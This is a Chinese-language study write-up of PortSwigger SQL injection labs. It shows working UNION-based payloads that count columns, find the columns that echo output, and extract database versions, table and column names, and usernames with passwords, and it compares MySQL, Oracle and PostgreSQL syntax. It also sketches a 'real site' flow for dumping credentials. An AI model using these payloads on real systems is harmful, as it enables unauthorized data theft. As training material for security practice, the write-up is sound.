SQL注入踩坑-union攻击系列-整理版
场景
一、orderby和联合查询注入的组合
portswigger靶场sql注入第三题。这里是orderby和联合查询注入的组合。
整个流程大概是这样的:
1、'单引号测试 →确认存在注入【报语法错误】
2、order by猜列数 →得知原始查询返回 2 列
这道题是通过
‘ order by 3 – 判断原始查询有多少列
【order by n 按查询结果的第n列排序】
UNION 联合查询有硬性规则:前后两个 select 返回的列数量必须一模一样。所以必须先测出原始 SQL 返回多少列。
3、union+常量字符串‘a’‘b’测试哪些列可以回显字符串。
在这里有两个作用:验证数据库(Oracle 需要 FROM dual 才不报错)、看页面输出确认哪些列是网页回显位(没有回显的就不是)
由上一步查出有两列,所以这里要构造的语句是:
查询1 UNION SELECT 字段1,字段2 FROM 表名
4、把想要查询的数据放到回显列,其余位置用常量占位,完成数据窃取。
1 | category=Gifts' UNION SELECT banner,'x' FROM v$version-- |
v$version:Oracle 系统视图名字,v$是固定前缀,拿版本数据
二、union攻击获取管理员账号
1、前面步骤类同:确认注入、确认列数、确认回显
查询当前数据库所有表名,
查表名,数据库名from所有表
1 | Gifts' UNION SELECT table_name,table_schema FROM information_schema.tables-- - |
这里的语法是mysql特有的。
2、mysql查所有表:
| 字段 | 含义 |
|---|---|
table_name |
表的名字 |
table_schema |
这个表属于哪个数据库(库名) |
information_schema.tables → 查所有表
有时候做题可以加上where过滤减少垃圾数据
1 | select table_name from information_schema.tables where table_schema=database(); |
3、mysql查一张表所有列:
information_schema.columns → 查询一张表全部列(字段)
| 字段 | 含义 |
|---|---|
column_name |
列(字段)名字 |
table_name |
所属表名 |
table_schema |
所属数据库名 |
payload模板:
1 | select column_name from information_schema.columns where table_name='users'; |
本题用到的是:
1 | Gifts' UNION SELECT column_name,'test' FROM information_schema.columns WHERE table_name='users_lrjxkk'-- - |
补充:Oracle 查表对照
查表:
1 | select table_name from all_tables -- |
查列:
1 | select column_name from all_tab_columns where tablename='a' -- |
4、得到表名、字段名后读取账号密码数据
本题用到的payload:
1 | Gifts' UNION SELECT username,password FROM users_lrjxkk-- - |
找到管理员账号后通关

总结:真实站点流程
information_schema.tables → 找到
sys_userinformation_schema.columns where table_name=’sys_user’ → 拿到
login_name、passwdselect login_name,passwd from sys_user
三、UNION 攻击-null确定查询返回的列数
和order by区别:
| 方法 | 特点 |
|---|---|
ORDER BY N |
按列号排序;报错就代表列号超出总数;不能看回显位置,只测数量 |
UNION SELECT NULL,NULL... |
不断加 NULL;报错消失得到列数;后续还可以把 NULL 替换成字符串'a',直接看哪一列支持字符串回显 |
这里同样是利用了union要求前后两个select返回的列数量、数据类型必须完全一致。
用 NULL 占位探测列数的好处:NULL兼容几乎所有数据类型,不容易报类型错误。
四、使用 UNION 攻击手段,寻找包含特定文本的列
这里的手法:先用null测出列数,逐个用’T9SFyD’替换null测试哪个背后是回显字符串的。
这里有个小坑,引号需要用英文。不然会语法错误。
五、union攻击,通过一个字段检索出多个值
这里前面的流程类似:单个引号测注入,null测出列数,逐个替换测出哪些支持字符串
但是这里有个问题,就是只有第二列可以回显字符串,但是我们需要取得username和password两个字段。
这里就使用了一个拼接函数,把两个字段揉成一段文本塞进第 2 列(唯一支持字符串的列)
1 | Gifts' union select null,concat(username,':',password) from users -- - |
总结:
当可回显的列数量 < 需要查询的字段数量,就用concat()把多个字段拼成 1 个字符串塞进可用列
concat(a,':',b)
但有以下缺点:
直接写一堆字段,没有专门的分隔符参数,分隔符要手动写进去
只要任意一个字段是 NULL,整个结果直接变成 NULL
也可以用concat_ws 可以统一分隔符,
concat_ws('分隔符',字段1,字段2)
1 | Gifts' union select null,concat_ws(':',username,password) from users -- - |
当然,这两个函数都不限制字符数,只要数据库允许的参数上限,塞多少字段都行。
username||':'||password
当然这里是PostgreSQL数据库,直接用
1 | Gifts' union select null,username||':'||password from users -- |
也可以
变形
一、oracle和mysql的语法差别
1、select…from强制规则
Oracle
- 所有
SELECT必须有 FROM,不能直接select 1,2; - 没有真实表时,使用虚表
FROM dual占位
1 | -- Oracle合法 |
MySQL
- 允许省略 FROM,可以直接输出常量
1 | -- MySQL合法 |
2、–行注释
Oracle
- 只要出现
--,本行剩余全部内容注释,不需要后面跟空格
1 | -- Oracle全部生效 |
MySQL
--后面必须加空格,才识别注释;--'不生效,当成普通字符
1 | -- MySQL 生效 |
version()调用函数,得到版本号
二、union攻击数据库语法辨析
快速区分三种数据库:
测试 payloadA:判断能不能用||拼接字符串
1 | ' union select 'a'||'b',null -- - |
- 返回
ab→ Postgres / Oracle - 返回
1→ MySQL(把 || 当成 or 逻辑运算)
测试 payloadB:判断是不是 Oracle
1 | ' union select concat('a',':','b'),null from dual-- |
Oracle:
concat('a',':','b')三个参数,直接语法报错Postgres:正常返回
a:b。
Oracle concat(field1,field2) 最多两个参数,想要拼接多个,只能嵌套:
1 | concat( concat(username,':'), password ) |
union攻击里的语法区别:
| 对比项 | MySQL | Oracle | PostgreSQL |
|---|---|---|---|
| 裸常量查询(无真实表) | 允许直接 select 'a','b' |
必须加 FROM dual select 'a','b' from dual |
允许直接 select 'a','b' |
|| 符号作用 |
逻辑或,不做字符串拼接 | 字符串拼接 | 字符串拼接 |
concat() |
支持多参数 concat(a,':',b) |
仅支持 2 个参数,多参数需要嵌套 concat(concat(a,':'),b) |
支持多参数 concat(a,':',b) |
concat_ws()(带分隔符拼接) |
✅支持 | ❌无此函数 | ✅支持 |
| 查询全部表名 | information_schema.tables |
all_tables |
information_schema.tables |
| 查询表字段 | information_schema.columns |
all_tab_columns |
information_schema.columns |
| 表名字段大小写 | 默认大小写不敏感 | 返回全部大写,where 条件字符串必须大写 | 视建表方式,大小写敏感 |
-- 行注释规则 |
--后面必须空格才生效 |
--后不需要空格,本行剩余全部注释 |
--后不需要空格,本行剩余全部注释 |
# 注释 |
✅支持 | ❌不支持 | ❌不支持 |
| 获取数据库版本 | version() / @@version |
banner from v$version |
version() |
踩坑
函数本身不能用单引号括住
1 | ' union select version(),'b' -- - |
这里我用的payload如上,然后这道题是环境换成了mysql,具体测试步骤和前面一样。不过我在这里踩了个小坑。我在测试回显的时候用的payload是’ union select ‘a’,’b’ – -
但是后面查版本的时候我图省事直接把a替换成version()了,就导致查询失败。
这里需要注意,函数本身不能用单引号括住,’b’这种是告诉数据库里面是原样文本不要执行。==函数不加单引号;写死的文字才加单引号==
补充:Oracle引号对照
Oracle 拿版本:banner from v$version banner是字段名,字段名也不加引号;只有字符串才加'xxx'。
1 | -- Oracle正确 |